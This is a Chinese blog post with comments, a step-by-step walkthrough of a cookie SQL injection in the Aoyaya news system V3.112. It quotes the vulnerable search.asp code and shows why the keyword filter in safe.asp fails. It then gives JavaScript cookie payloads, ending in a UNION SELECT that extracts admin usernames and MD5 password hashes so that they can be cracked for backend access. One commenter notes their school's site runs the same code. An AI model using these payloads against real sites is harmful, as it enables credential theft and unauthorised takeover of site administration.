凹丫丫网站管理系统cookie注射

话说这个BUG已经是很久以前的了,写此文只是MARK一下吧。各位看观见笑了。 :razz:
这里说的是“凹丫丫新闻发布系统V3.112绿色简洁版”。
根目录下 search.asp 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!--#include file="conn.asp"-->
     < %
key=request("key")
otype=request("otype")
if key="" then
   response.write "<script>alert('查找字符串不能为空!');history.back();"
   response.end
end i

'......这里省略若干无关HTML代码等

page=clng(request("page")) 
set rs= server.createobject("adodb.recordset")
if otype="title" then
sql="select * from news where title like '%"&#038; key &#038;"%' order by id desc"
elseif otype="msg" then
sql="select * from news where content like '%"&#038; key &#038;"%' order by id desc"
else
end if
rs.open sql,conn,1,1
if rs.eof and rs.bof then
response.write "<tr bgcolor='#ffffff'><td colspan='4'><p align='center'>对不起,没有找到相关新闻</p></td></tr>"
else
%>

可以看到页面中采用的是request方式来获取key的,asp里面的request工作方式和PHP里的是差不多的,都是可以获取get/post/cookie值的,查看其conn.asp,该文件包含了这样一句:

1
<!--#Include File="jsinc/safe.asp"-->

而这个safe.asp呢?其实并不safe .
里面仅仅对querystring作了判断,发现有select 等SQL关键字就:

1
2
Response.Write "<script language='javascript'>alert('对不起,不可以包含非法字符!');location='http://www.xxx.net';</script>"
Response.end

这样,用post或者cookie注入都是可行的。用cookie注入更方便喽。
我们就选择 title 来注入吧,看它代码中的SQL:

1
select * from news where title like '% key %' order by id desc

我们构造一个特殊的查询值,并用js改写cookie:
我们先来试探一下我们的猜想是不是正确的:

1
2
3
4
5
6
7
//从首页可以看出有文章标题包含  111 的,我们就用 111 来试下能不能搜索到这篇文章
javascript:alert(document.cookie="key=111");
//然后访问: http://111.xxx.xxx.xxx:81/search.asp?otype=title  ,发现文章被成功搜索到了
javascript:alert(document.cookie="key="+escape("111%25' or title like '%25111"));
//然后访问: http://111.xxx.xxx.xxx:81/search.asp?otype=title  ,发现文章同样被成功搜索到了
javascript:alert(document.cookie="key="+escape("111%25' and title like '%xxoo"));
//然后访问: http://111.xxx.xxx.xxx:81/search.asp?otype=title  ,发现页面提示文章未找到

好了,已经证实注入漏洞的存在了,开始行动,先判断出 news 表的字段长度,这里就不说了,判断出来是 14 。
开始union 注入:

1
javascript:alert(document.cookie="key="+escape("111%25' and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14 from admin where 1=1 and aleave like '%25super"));

再访问: http://111.xxx.xxx.xxx:81/search.asp?otype=title ,发现什么啦?
用户名和密码的md5 值出来了,然后拿去MD5 破解的网上一跑,如果幸运的话,OK, 后台权限就拿到了。

再说一下那个注入语句,这里用的是union 查询,联合查询只要求查询的表与前面查询的表的字段数目相同,并不要求数据类型也相同。查询之后,它会将查询结果合并,因此这里我们不想看到前面的查询结果,就加了条 and 1=2 ,很明显,这不会返回任何东西的,而这正是我们需要的。我们要的只是后面那条查询的结果,而且让它在原来显示正常结果的相应地方显示。仔细看下,就会发现,程序中原来的SQL经过精心构造的“关键字”(111%’ and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14 from admin where 1=1 and aleave like ‘% super),已经变成了:

1
SELECT * FROM news WHERE title LIKE '% 111%' AND 1=2 UNION SELECT admin,password,3,4,5,6,7,8,9,10,11,12,13,14 FROM admin WHERE 1=1 AND aleave LIKE '% super %' ORDER BY id DESC
更多
3 Responses Post a comment
  1. 万戈

    cookie注射,这是一个好邪恶的名词,荒野兄干了神马坏事 :grin:

  2. Junan

    :mrgreen: 坏坏噢~我学校有个网站就是这个源码~ :mrgreen:

Leave a Reply

Note: You may use basic HTML in your comments. Your email address will not be published.

Subscribe to this comment feed via RSS